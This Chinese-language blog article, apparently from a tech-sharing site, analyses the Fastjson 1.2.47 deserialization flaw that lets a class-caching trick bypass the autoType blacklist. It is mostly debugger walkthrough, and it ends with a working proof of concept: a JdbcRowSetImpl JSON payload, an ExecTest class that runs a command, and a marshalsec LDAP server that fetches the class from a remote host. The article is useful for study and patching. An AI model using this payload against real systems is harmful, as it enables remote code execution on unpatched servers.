溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

發(fā)布時間:2021-12-14 10:32:55 來源:億速云 閱讀:343 作者:柒染 欄目:安全技術(shù)

這篇文章將為大家詳細(xì)講解有關(guān)Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

前言

這次將要介紹的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。

Fastjson 1.2.47漏洞分析

Fastjson 1.2.47版本漏洞與上篇文章中介紹的幾處漏洞在原理上有著很大的不同。與Fastjson歷史上存在的大多數(shù)漏洞不同的是,F(xiàn)astjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未開啟時進(jìn)行

首先來看一下公開的poc

public class demo {
public static void main(String[] args) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";
Object obj = JSON.parseObject(payload);
System.out.println(obj);
}
}

從代碼中可見,與以往利用不同的是,該poc中構(gòu)造了兩個json字符串

1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}

為了弄清楚這樣構(gòu)造的意義,我們來動態(tài)調(diào)試一下這個漏洞

程序首先解析第一個json字符串

"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 解析過程

我們跳過部分FastJson解析流程,直接來看checkAutoType安全模塊時的操作。對這個字符串中\(zhòng)@type字段進(jìn)行校驗

在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模塊中,程序首先進(jìn)入了這個分支,程序調(diào)用getClassFromMapping對typeName進(jìn)行解析,typeName即為字符串中@type的值,在第一個json字符串中,這個值為"java.lang.Class"

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

我們跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMappingFastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖代碼可見,程序想從mappings中尋找鍵名為”java.lang.Class”的元素并返回對應(yīng)的鍵值。值得一提的是,mappings合集與后文將要講到的buckets合集對這個漏洞至關(guān)重要,這二者是這個漏洞產(chǎn)生的核心因素

  • mappings合集

mappings中存儲的數(shù)據(jù)都是什么呢?經(jīng)過調(diào)試可以發(fā)現(xiàn)其中數(shù)據(jù)形式如下圖中所展示

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖可見,mappings中存儲著類名字符串以及對應(yīng)類對象。然而mappings中的數(shù)據(jù)又是從何而來的呢?

經(jīng)過調(diào)試發(fā)現(xiàn),mappings中存儲的數(shù)據(jù)是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從Mapping合集中的數(shù)據(jù)可以猜測,Mapping是用來存儲一些基礎(chǔ)的Class,以便于在反序列化處理這些基礎(chǔ)類時提高效率

在弄清楚mappings列表的由來后,繼續(xù)回到正題。我們構(gòu)造的typeName(@type指定的"java.lang.Class")并不在Mappings的鍵中。因此getClassFromMapping方法返回null,程序繼續(xù)向下執(zhí)行進(jìn)入下一個if分支。此時程序接著調(diào)用deserializers.findClass對傳入的typeName進(jìn)行解析

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

我們跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法進(jìn)行進(jìn)一步分析

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖代碼可見,程序會遍歷buckets,取出其中元素的key屬性值的名稱并與傳入的”java.lang.Class”進(jìn)行比較,如果二者相同,則將這個Class對象返回

  • buckets合集

現(xiàn)在我們要談?wù)刡uckets合集了。buckets又存儲著什么元素呢?見下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

上圖我們展開了一個buckets合集中元素進(jìn)行展示。與Mapping合集相同的問題產(chǎn)生了:buckets中的元素都有哪些、他們又從何而來呢?經(jīng)過調(diào)試我們在見下三張圖中找到了答案

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

通過FastJson作者關(guān)于buckets合集的注釋猜測,buckets是一個用于并發(fā)的IdentityHashMap

回到調(diào)試流程中findClass方法來,我們構(gòu)造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了,因此java.lang.Class類對象被返回

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

在findClass執(zhí)行完成后,java.lang.Class類對象被返回到checkAutoType中并賦值給clazz,checkAutoType方法也將于963行處將clazz返回。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

回顧一下上文中的Mapping合集和buckets合集,F(xiàn)astjson為什么要將用戶傳入的\@type字段指定的字符串在這兩個合集中匹配呢?

Mapping合集則是用來存儲基礎(chǔ)的Class,如果\@type字段傳入的字符串如果對應(yīng)了基礎(chǔ)Class,程序則直接找到其類對象并將其類對象返回,從而跳過了checkAutoType后續(xù)的部分校驗過程。而buckets合集則是用于并發(fā)操作。

但無論Mapping合集與buckets合集實際作用是什么,但凡用戶傳入的\@type字段字段值在兩個合集中任意一個中,且程序使用JSON.parseObject(payload);這樣的形式解析字符串(確保expectClass為空,防止進(jìn)入上圖957行if分支),checkAutoType都將會直接將其對應(yīng)的Class返回。

checkAutoType在將clazz返回后,程序?qū)?zhí)行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代碼

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖第一個紅框可見,checkAutoType在將用戶傳入的@type值返回后,程序會賦值給上圖316行處clazz變量,而上圖384行處的deserialze方法緊接著處理這個clazz變量

跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

?

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);

?

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} 

?

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

此時傳入deserialze中clazz變量為checkAutoType安全模塊校驗后返回的"java.lang.Class"而fieldName變量值為解析的第一個json字段名"a"

deserialze方法中,與本次漏洞與poc構(gòu)造的代碼塊主要有三部分,分別是:

  1. 取出json字符串中val值

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);

在這段代碼中,程序?qū)⑴袛鄠魅氲膉son字符串中是否有”val”,并將其值通過下圖第一個紅框處的代碼取出賦值給objVal變量。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

  1. 將objVal變量值轉(zhuǎn)換為String類型并賦值strVal變量

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}

這段代碼與上一段銜接,objVal變量值又傳遞給下圖第二個紅框處。strVal變量判斷objVal非空且為String類實例時,將其轉(zhuǎn)換為String類型并賦值與strVal

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

  1. 調(diào)用TypeUtils.loadClass處理val值

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

這段代碼的作用時,當(dāng)傳入的clazz變量為Class的類對象時,調(diào)用TypeUtils.loadClass處理strVal(即json字符串中的val值)

在分析完deserialze方法的加工流程后,我們回頭看看poc中構(gòu)造的val值是什么,見下圖紅框處

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

poc中構(gòu)造的是com.sun.rowset.JdbcRowSetImpl字符串,也就是過往漏洞利用中可利用的類。但是根據(jù)之前的分析,自從黑名單機制的完善,這個類早已已經(jīng)不能簡單的直接利用了,這個漏洞究竟是如何讓這個類繞過黑名單重獲新生呢?我們繼續(xù)往下看看TypeUtils.loadClass中的操作,繼續(xù)跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}

loadClass接收的一個參數(shù):"className"為String類型變量,根據(jù)上文的調(diào)用關(guān)系,這里傳入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className參數(shù)值為"com.sun.rowset.JdbcRowSetImpl"

通過分析loadClass方法代碼,可以發(fā)現(xiàn)如下代碼

try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
}

在該代碼段中,程序通過contextClassLoader.loadClass(className);方法從字符串類型className變量("com.sun.rowset.JdbcRowSetImpl")獲取到com.sun.rowset.JdbcRowSetImpl類對象,并賦值給clazz變量。此時的className、clazz變量形式如下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

接著,程序判斷cache變量情況:在當(dāng)cache為true時,將className、clazz鍵值對加入mappings合集(cache默認(rèn)為true)。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

經(jīng)過動態(tài)調(diào)試可以發(fā)現(xiàn),通過上面的一系列操作,Mappings合集中確實已經(jīng)加入了我們的惡意類com.sun.rowset.JdbcRowSetImpl,見下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

在我們的第一個json字符串解析完成后,程序隨后會解析我們第二個json字符串

"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}解析過程

與第一個json字符串解析流程完全一致,程序也執(zhí)行到下圖部分

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

由于這次Mapping中有鍵名為com.sun.rowset.JdbcRowSetImpl的元素,因此clazz被賦值為com.sun.rowset.JdbcRowSetImpl類對象

從下面兩張圖可見,此時上文的流程完全一致,只不過這次返回的時com.sun.rowset.JdbcRowSetImpl類對象

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

com.sun.rowset.JdbcRowSetImpl惡意類被順利返回,但是整個操作流程中并未觸發(fā)checkAutoType黑白名單校驗機制。隨后com.sun.rowset.JdbcRowSetImpl惡意類被反序列化,觸發(fā)利用

漏洞利用

為了證實漏洞的存在,我們首先在192.167.30.116服務(wù)器的80端口web服務(wù)上部署ExecTest.class。ExecTest.java中內(nèi)容如下

java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}

public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}

public static void main(String[] args) {
exec("123");
}
}

使用marshalsec開啟ladp服務(wù),監(jiān)聽在1389端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

demo程序執(zhí)行完畢,計算器成功彈出

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本的漏洞與Fastjson歷史上存在的大多數(shù)漏洞不同。本次漏洞相比自立一派,與過往那些針對補丁繞過的漏洞相比,本次漏洞更為復(fù)雜與精妙。1.2.47版本的漏洞涉及到一些Fastjson機制類的知識,通過對這個漏洞進(jìn)行分析,可以更好的了解FastJson框架。

關(guān)于Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI